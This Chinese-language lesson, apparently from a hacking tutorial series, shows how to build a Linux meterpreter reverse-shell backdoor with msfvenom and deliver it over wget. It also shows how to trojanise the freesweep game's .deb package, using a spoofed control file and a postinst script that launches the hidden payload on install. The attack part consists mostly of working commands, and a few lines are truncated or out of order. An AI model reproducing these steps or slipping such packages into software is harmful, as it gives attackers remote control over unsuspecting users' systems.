第四十二课测试Linux病毒危害
1上面一节课我们说了什么是Linux病毒。接下来我来告诉大家linux病毒的危害
1认识msfvenom
msfvenom是msfpayload和msfencode的组合,用于生成后门的软件。它可以利用msf中的payloads和encoders来生成各种格式的木马文件,并在目标机上执行,配合meterpreter在本地监听上线
2认识DEB 文件
DEB是Debian软件包格式的文件扩展名,跟Debian的命名一样,DEB也是因Debra Murdock而得名,她是Debian创始人Ian Murdock的太太。
linux其他软件格式
后缀为.src.rpm的软件
这种软件包是以RPM格式封装的源代码软件包,其安装过首先需要将软件通过RPM命令解压成src格式,安装过程中需要Linux系统自身的开发工具和内核源代码的支持
、后缀为tar.gz、tar.Z、tar.bz2或tgz软件
是使用打包工具mr打包的软件。这些软件都是以源码方式发布,因此,用户在使用软件时需要自己编译此应用程序,然后再安装,在安装过程中需要Linux系统自身的开发工具和内核源代码的支持。
后缀为.bin的软件
一般情况下这种格式的软件为商业软件。将该文件修改为可执行状态,然后
2制作Linux病毒
接下来我们要用到kali中的msfvenom
来制作Linux病毒。并且测试Linux病毒对系统的危害
我们打开kali的终端。输入这条命令msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=IP地址 LPORT=端口 -b "\x00" -f elf -o /var/www/html/文件名
同时打开handler开始监听,与上面不同的是,这里要设置为:
set payload linux/x64/meterpreter/reverse_tcp
在centos7上下载该文件
wget https://IP地址/文件名如图1-1

图1-1
给予执行权力
chmod +x virus
已成功拿到root权限,如果是普通用户就这能获得普通用户权限如图1-2

这里由于一些图片 大小无法上传 所以我给他加了一些白色的背景 给他加大了一下 会导致有点不同
图1-2
制作恶意deb软件包来触发后门
先下载一个正常的软件包
apt --download-only freesweep
将软件包移动到root目录下
mv /var/cache/apt/archives/freesweep_1.0.1-2_amd64.deb /root/
将安装包解压到root目录下为free文件
dpkg -x freesweep_1.0.1-2_amd64.deb free
将后门放到free文件中
msfvenom -a x64 --platform linux -p
创建软件包信息目录
tee /root/free/DEBIAN/control << 'EOF'
Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on
hints given by the computer. Unlike most implementations of this game, Freesweep works
in any visual text display - in Linux console, in an xterm, and in most text-based terminals
currently in use.
创建 deb 软件包,安装后脚本文件,来加载后门
EOF
tee /root/free/DEBIAN/postinst << 'EOF'
#!/bin/bash
sudo chmod 2755 /usr/games/freesweep_sources
sudo /usr/games/freesweep_sources &
EOF
给脚本文件添加执行权限
chmod 755 /root/free/DEBIAN/postinst
构建新的 deb 安装包
dpkg-deb --build /root/free
再次打开handler进行监听
dpkg -i free.deb
等对方通过dpkg -i free.deb明年安装完安装包之后。我们就可以远程控制了。这里我们可得知这个东西的危害有多大如图1-3

图1-3